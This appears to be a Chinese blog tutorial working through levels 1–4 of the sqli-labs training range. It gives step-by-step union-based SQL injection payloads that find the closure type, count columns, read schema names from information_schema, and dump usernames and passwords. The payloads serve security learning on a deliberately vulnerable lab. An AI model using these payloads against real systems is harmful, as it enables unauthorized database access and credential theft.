sqli-labs靶场学习(一)

一.知识点

1.数据库

数据库是一个用于存储和管理数据的仓库。数据按照特定的格式存储,可以对数据库中的数据进行增加、修改、删除和查询操作。数据库的本质是一个文件系统,按照一定的逻辑结构组织数据,以方便高效地访问和维护。

2.数据库管理系统(DataBase Management System,DBMS)

数据库管理系统是一个操作和管理数据库的软件。它用于建立、使用和维护数据库,对数据库进行统一管理和控制,以保证数据库的安全性和完整性。用户通过数据库管理系统访问数据库中表内的数据。

3.基本步骤


1 、)寻找注入点
2 、)判断闭合方式
3 、)验证漏洞
4 、)判断列数及回显位
5 、)取数据
取数据库名
根据数据库名,取表名
根据数据库名、表名,取列名
取具体数据

二.sqli-labs

第一关

第一步判断是数字型还是字符型

输入?id=1'     //报错

输入?id=1' --+     //(--+为注释符)正常回显

所以sqli-labs-1为字符型注入

第二步判断其列数

用order by语句来查看有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

试出来是到3的时候报错,所以列数为3

?id=1'order by 3 --+

第三步显示报错位

  ?id=-1' union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

发现哪些位置是可以显示的

第四步爆库名以及版本

?id=-1' union select 1,database(),version()--+

找到了库名:security

版本:5.5.53

第五步:爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

information_schema.tables表示该数据库下的tables表,点(.)表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

第六步爆列名

通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容

第七步:查询字段

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs-2

第一步:判断是什么型

id=1--+

id=1‘--+显示报错 说明是数字型注入

接下来的步骤与sqli-labs一致,只是上一关是字符型注入这一题是数字型注入 payload如下

?id=1 --+
?id=1 order by 3--+
?id=-1 union select 1,2,3--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1 union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs-3

第一步:判断什么型

输入id=1’ 提示注意)

输入id=1‘)报错

输入id=1’)--+

所以我们推断单引号字符型且有括号

同样接下来与前两题步骤一样

?id=1')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs-4

方法同上,根据页面报错信息得知sql语句是双引号字符型且有括号

与前几关步骤相同

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

参考资料

http://t.csdnimg.cn/tiA6s

http://t.csdnimg.cn/LqSU9

http://t.csdnimg.cn/EAOse

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826028.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

光伏无人机勘探技术应用分析

光伏无人机勘探与传统勘探想必,具有智能化作业、测控精度高、环境适应性强等明显优势;卫星勘探辅助其能更快速甚至实时完成测绘拼图;在进行勘察时,可根据需要自由更换机载设备;自动诗经建模使数据更直观,工…

深度学习每周学习总结P5(运动鞋识别)

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 | 接辅导、项目定制 –来自百度网盘超级会员V5的分享 目录 0. 总结1. 数据导入及处理部分2. 加载数据集3.模型构建部分3.1 模型构建3.2 公式推导 4. 设置超参…

Web开发:ASP.NET CORE的前端demo(纯前端)

目录 一、建立项目 二、删除无用文件 三、样式添加 四、写一个登录页面 五、登录主界面 一、建立项目 二、删除无用文件 三、样式添加 将你的图片资源添加在wwwroot下方,例如pics/logo.png 四、写一个登录页面 将Privacy.cshtml改为 Forget.cshtml &#xff0…

【数学】深度学习中的概率基础知识记录

基于 Deep Learning (2017, MIT) 书总结了必要的概率知识 原blog 以及用到的Ipython notebook 文章目录 1 概述2 知识2.1 离散变量和概率质量函数(PMF)2.2 连续变量和概率密度函数(PDF)2.3 边缘概率2.4 条件概率2.5 条件概率的链式…

爬虫 //获取元素中的数据

// <!--jsoup解析工具所需依赖--> // <dependency> // <groupId>org.jsoup</groupId> // <artifactId>jsoup</artifactId> // <version>1.10.3</version> // </depende…

Android view点击监听

转载简书&#xff1a;Android无痕埋点&#xff08;1&#xff09;— 点击监听 - 简书

阿里云ECS服务器安装docker

首先查看阿里云ECS的服务器的版本 cat /etc/redhat-release如果是Alibaba Cloud Linux release 3,请执行以下命令 添加docker-ce的dnf源。 sudo dnf config-manager --add-repohttps://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo安装Alibaba Cloud Linux 3专…

MongoDB 索引全攻略

目录 一、索引介绍 1.1 单字段索引 1.2 复合索引 1.3 多键索引 1.4 主键索引 1.5 TTL 索引 1.6 地理空间索引 1.7 哈希索引 1.8 创建索引时注意事项 1.9 索引效果查看 二、索引实现原理 2.1 为什么使用 B-Tree 三、执行计划 一、索引介绍 任何数据库都有索引这一核心功能&…

Yolov8项目实践——基于yolov8与OpenCV实现目标物体运动热力图

概述 在数据驱动和定位的世界中&#xff0c;对数据进行解释、可视化和决策的能力变得日益重要。这表明&#xff0c;使用正确的工具和技术可能是项目成功的关键。在计算机视觉领域&#xff0c;存在许多技术来解释从视频&#xff08;包括录像、流媒体或实时视频&#xff09;中获…

SpringMVC核心流程解析

SpringMVC核心流程解析 DispatcherServlet的继承关系请求流程分析获取HandlerChain(ControllrtMethod拦截器)获取HandlerAdapter handlerMappings的初始化过程 DispatcherServlet的继承关系 DispatcherServlet本质是一个servlet&#xff0c;既然是servlet&#xff0c;一个请求…

Apache Storm详细配置

Apache Storm是一个分布式实时大数据处理系统&#xff0c;能够并行地对实时数据执行各种操作。它广泛应用于各种需要实时数据处理和分析的场景&#xff0c;例如网站统计、推荐系统、预警系统以及金融系统等。Storm的核心特性包括其简单性、可伸缩性和容错性&#xff0c;它保证了…

Linux 系统中用户、用户组和文件权限管理的常用命令 useradd、usermod、groupadd、groupmod、chmod

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 1. useradd useradd 是 Linux 系统中用于创建新用户账户的命令。管理员通常用它来添加新的系统用户&#xff0c;为他们设置初始配置&#xff0c;如主目录、登录 Shell 等。这个命令具有多个选项&#x…

[Algorithm][滑动窗口][水果成篮][最大连续的一个数 Ⅲ][将x减到0的最小操作数]详细讲解

目录 1.水果成篮1.题目链接2.算法原理讲解3.代码讲解 2.找到字符串中所有字母异位词1.题目链接2.算法原理讲解3.代码实现 3.串联所有单词的字串1.题目链接2.算法原理讲解3.代码实现 3.最小覆盖字串1.题目链接2.算法原理讲解 1.水果成篮 1.题目链接 水果成篮 2.算法原理讲解 …

机器学习|决策树|如何计算信息增益|方法总结

如是我闻 &#xff1a;那你说决策树这块还能考点啥呢&#xff0c;也就是算算属性的信息增益&#xff08;Information Gain&#xff09;了&#xff0c; 信息增益是一种评估特征&#xff08;属性&#xff09;在分类任务中重要性的方法&#xff0c;它基于熵的概念来计算。熵是一个…

notepad++快捷键和宏录制

想要一个删除行的快捷键, 发现没有 有个现成的快捷键 CtrlL : 剪切当前行 , 不是我想要的效果 宏录制很方便,于是就录制一个删除行的宏,设置快捷键为: CtrlD 录制宏: 1, 点击"开始录制" 2, 依次按键: End , Space , Shift Home , Delete , Delete 3, 点击"停止…

Java集合进阶——数据结构

1.栈 模型&#xff1a; 栈模型和一个杯子差不多&#xff0c;一端开口&#xff0c;一端封闭&#xff0c;开口的那端叫栈顶&#xff0c;封闭的那端叫栈底&#xff0c;如图所示 介绍&#xff1a; 元素进入栈中叫进栈/压栈&#xff0c;元素出来叫出栈&#xff0c;元素进栈后会先来…

Appian发布最新版本:通过AI流程自动化推动业务发展

Appian公司于2024年4月16日在弗吉尼亚州麦克莱恩宣布推出Appian平台的最新版本。此版本引入了Process HQ&#xff0c;这是一个集流程挖掘和企业AI于一体的系统&#xff0c;结合了Appian的数据平台。Process HQ为企业运营提供前所未有的可见性&#xff0c;支持数据驱动的决策和流…

CERLAB无人机自主框架: 2-动态目标检测与跟踪

前言&#xff1a;更多更新文章详见我的个人博客主页【MGodmonkeyの世界】 描述&#xff1a;欢迎来到CERLAB无人机自主框架&#xff0c;这是一个用于自主无人飞行器 (UAV) 的多功能模块化框架。该框架包括不同的组件 (模拟器&#xff0c;感知&#xff0c;映射&#xff0c;规划和…

Hadoop——Yarn 调度器和调度算法

Yarn 调度器和调度算法 YARN调度器&#xff08;Scheduler&#xff09;是负责将集群资源分配给不同应用程序的组件。它根据应用程序的资源需求和优先级&#xff0c;以及集群的资源供给情况&#xff0c;决定如何分配资源。YARN提供了多种调度器实现&#xff0c;每种调度器都有不…

如何通过MSTSC连接Ubuntu的远程桌面?

正文共&#xff1a;666 字 12 图&#xff0c;预估阅读时间&#xff1a;1 分钟 前面我们介绍了如何通过VNC连接Ubuntu 18.04的远程桌面&#xff08;Ubuntu 18.04开启远程桌面连接&#xff09;&#xff0c;非常简单。但是有小伙伴咨询如何使用微软的远程桌面连接MSTSC&#xff08…